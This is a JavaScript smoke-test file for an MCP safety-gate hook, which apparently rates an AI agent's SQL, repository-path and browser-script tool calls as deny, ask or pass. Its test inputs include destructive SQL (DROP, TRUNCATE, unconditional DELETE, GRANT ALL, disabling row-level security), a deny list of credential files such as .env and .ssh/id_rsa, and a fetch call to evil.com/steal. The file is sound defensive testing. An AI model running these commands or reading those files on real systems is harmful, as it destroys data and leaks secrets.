bookworm-smart-assistant/scripts/archive/test-mcp-safety-gate.js

67 lines
5.0 KiB
JavaScript

'use strict';
/**
* mcp-safety-gate.js 冒烟测试
* 用法: node scripts/test-mcp-safety-gate.js
*/
const { analyzeSql, analyzeGithubPath, analyzeBrowserScript } =
require('../hooks/mcp-safety-gate.js');
let pass = 0, fail = 0;
function check(label, got, expected) {
const ok = (got === expected);
if (ok) pass++; else fail++;
const mark = ok ? 'PASS' : 'FAIL';
process.stdout.write(mark + ' ' + label.padEnd(52) + ' expect=' + expected + ' got=' + got + '\n');
}
// ── SQL deny 场景 ──────────────────────────────────────────
check('SQL deny: drop table', analyzeSql('DROP TABLE users').level, 'deny');
check('SQL deny: drop database', analyzeSql('DROP DATABASE mydb').level, 'deny');
check('SQL deny: truncate', analyzeSql('TRUNCATE orders').level, 'deny');
check('SQL deny: del where 1=1', analyzeSql('DELETE FROM t WHERE 1=1').level, 'deny');
check('SQL deny: del where true',analyzeSql('DELETE FROM t WHERE TRUE').level, 'deny');
check('SQL deny: grant', analyzeSql('GRANT ALL PRIVILEGES TO anon').level, 'deny');
check('SQL deny: disable rls', analyzeSql('ALTER TABLE t DISABLE ROW LEVEL SECURITY').level, 'deny');
// ── SQL ask 场景 ──────────────────────────────────────────
check('SQL ask: delete with cond',analyzeSql('DELETE FROM t WHERE id=1').level, 'ask');
check('SQL ask: alter table', analyzeSql('ALTER TABLE t ADD COLUMN col int').level, 'ask');
check('SQL ask: create function', analyzeSql('CREATE FUNCTION f() RETURNS void').level, 'ask');
// ── SQL pass 场景 ─────────────────────────────────────────
check('SQL pass: select', analyzeSql('SELECT * FROM users').level, 'pass');
check('SQL pass: insert', analyzeSql('INSERT INTO t(a) VALUES(1)').level, 'pass');
check('SQL pass: empty string', analyzeSql('').level, 'pass');
check('SQL pass: null', analyzeSql(null).level, 'pass');
// ── Path deny 场景 ────────────────────────────────────────
check('Path deny: .env', analyzeGithubPath('.env').level, 'deny');
check('Path deny: .env.prod', analyzeGithubPath('.env.production').level, 'deny');
check('Path deny: credentials.json', analyzeGithubPath('credentials.json').level, 'deny');
check('Path deny: key.pem', analyzeGithubPath('private.pem').level, 'deny');
check('Path deny: .ssh dir', analyzeGithubPath('.ssh/id_rsa').level, 'deny');
check('Path deny: cert.p12', analyzeGithubPath('cert.p12').level, 'deny');
// ── Path ask 场景 ─────────────────────────────────────────
check('Path ask: settings.json', analyzeGithubPath('settings.json').level, 'ask');
check('Path ask: .claude dir', analyzeGithubPath('.claude/hooks/foo.js').level, 'ask');
check('Path ask: gh workflow', analyzeGithubPath('.github/workflows/ci.yml').level, 'ask');
check('Path ask: package.json', analyzeGithubPath('package.json').level, 'ask');
// ── Path pass 场景 ────────────────────────────────────────
check('Path pass: src/index.js', analyzeGithubPath('src/index.js').level, 'pass');
check('Path pass: README.md', analyzeGithubPath('README.md').level, 'pass');
check('Path pass: empty', analyzeGithubPath('').level, 'pass');
// ── Browser JS 场景 (全部 ask) ────────────────────────────
check('JS ask: document.cookie', analyzeBrowserScript('document.cookie').level, 'ask');
check('JS ask: eval()', analyzeBrowserScript('eval(x)').level, 'ask');
check('JS ask: new Function', analyzeBrowserScript('new Function("a","b")').level, 'ask');
check('JS ask: fetch external', analyzeBrowserScript("fetch('https://evil.com/steal')").level, 'ask');
check('JS ask: XMLHttpRequest', analyzeBrowserScript('new XMLHttpRequest()').level, 'ask');
check('JS ask: plain arithmetic', analyzeBrowserScript('const x = 1 + 2').level, 'ask');
process.stdout.write('\n结果: ' + pass + ' PASS / ' + fail + ' FAIL\n');
process.exit(fail > 0 ? 1 : 0);